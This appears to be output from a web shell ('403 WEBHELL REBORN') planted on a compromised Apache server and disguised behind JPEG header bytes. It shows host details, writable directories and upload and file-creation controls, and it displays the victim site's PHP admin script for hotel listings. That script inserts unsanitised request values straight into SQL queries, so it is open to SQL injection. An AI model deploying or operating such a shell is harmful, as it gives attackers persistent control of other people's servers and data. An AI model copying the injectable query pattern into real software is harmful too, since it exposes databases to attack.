ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/hotel_tw/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/hotel_tw/hotel_main2_proc.php
<? 
include "../include/top_proc.html";
include "_common.php";


$upload = "../../FileData/hotel/";//이미지업로드경로
$upload_thum = "../../FileData/hotel_thum/";//썸네일 이미지업로드경로

if($SqlType=="main2_write"){
	
	//파일 업로드
	if($img){
		$up_img = @FileUploadName( "", $upload, $_FILES['img']['tmp_name'], $_FILES['img']['name'] ,"");
		@make_thum($upload.$up_img1,$upload_thum.$up_img);//이미지썸네일 생성
	}

	// 저장
	$sql ="insert into TB_HOTEL_MAIN set title='{$title}', link_url='{$link_url}', link_url_eng='{$link_url_eng}', link_url_cn='{$link_url_cn}' , img='{$up_img}',ins_dt=now() ";

	db_query($sql);

	error_msg("parent.location.reload();","script");
}elseif($SqlType=="main2_edit"){

	// 기존이미지 정보
	$sql = "select img from TB_HOTEL_MAIN where idx='{$idx}'";
	$data = db_fetch($sql);
	$old_img = $data['img'];

	// 이미지 삭제
	if($img_del=="Y"){
		@unlink($upload.$old_img);
		@unlink($upload_thum.$old_img);

		db_query("update TB_HOTEL_MAIN set img='' where idx='{$idx}'");
	}

	//파일 업로드
	if($img){
		$up_img = @FileUploadName( "", $upload, $_FILES['img']['tmp_name'], $_FILES['img']['name'] ,"");
		@make_thum($upload.$up_img1,$upload_thum.$up_img);//이미지썸네일 생성

		// 기존이미지 삭제
		@unlink($upload.$old_img);
		@unlink($upload_thum.$old_img);

		db_query("update TB_HOTEL_MAIN set img='{$up_img}' where idx='{$idx}'");
	}


	// 저장
	$sql ="update TB_HOTEL_MAIN set title='{$title}', link_url='{$link_url}', link_url_eng='{$link_url_eng}', link_url_cn='{$link_url_cn}'  where idx='{$idx}' ";

	db_query($sql);

	error_msg("location.href='hotel_main2_write.html?idx={$idx}&tmp_layer_id={$tmp_layer_id}';","script");
}elseif($SqlType=="disp_yn"){
	
	$sql = "update TB_HOTEL_MAIN set disp_yn='{$disp_yn}' where idx='{$idx}'";
	db_query($sql);

	if($disp_yn=="Y") {
		$opp_str = "N";
		$opp = "btn_check.gif";
	}else{
		$opp_str = "Y";
		$opp = "btn_stop.gif";
	}
	echo "<img src='../image/btn/{$opp}' onClick=\"ajax_obj_loader('hotel_main2_proc.php?SqlType=disp_yn&idx={$idx}&disp_yn={$opp_str}','disp_yn_{$idx}');\"> ";
	exit;
}elseif($SqlType=="delete"){

	// 기존이미지 삭제
	$sql = "select img from TB_HOTEL_MAIN where idx='{$idx}'";
	$data = db_fetch($sql);
	$old_img = $data['img'];

	@unlink($upload.$old_img);
	@unlink($upload_thum.$old_img);

	$sql = "delete from TB_HOTEL_MAIN  where idx='{$idx}'";

	db_query($sql);

	error_msg("parent.location.reload();","script");
}
?>

Anon7 - 2021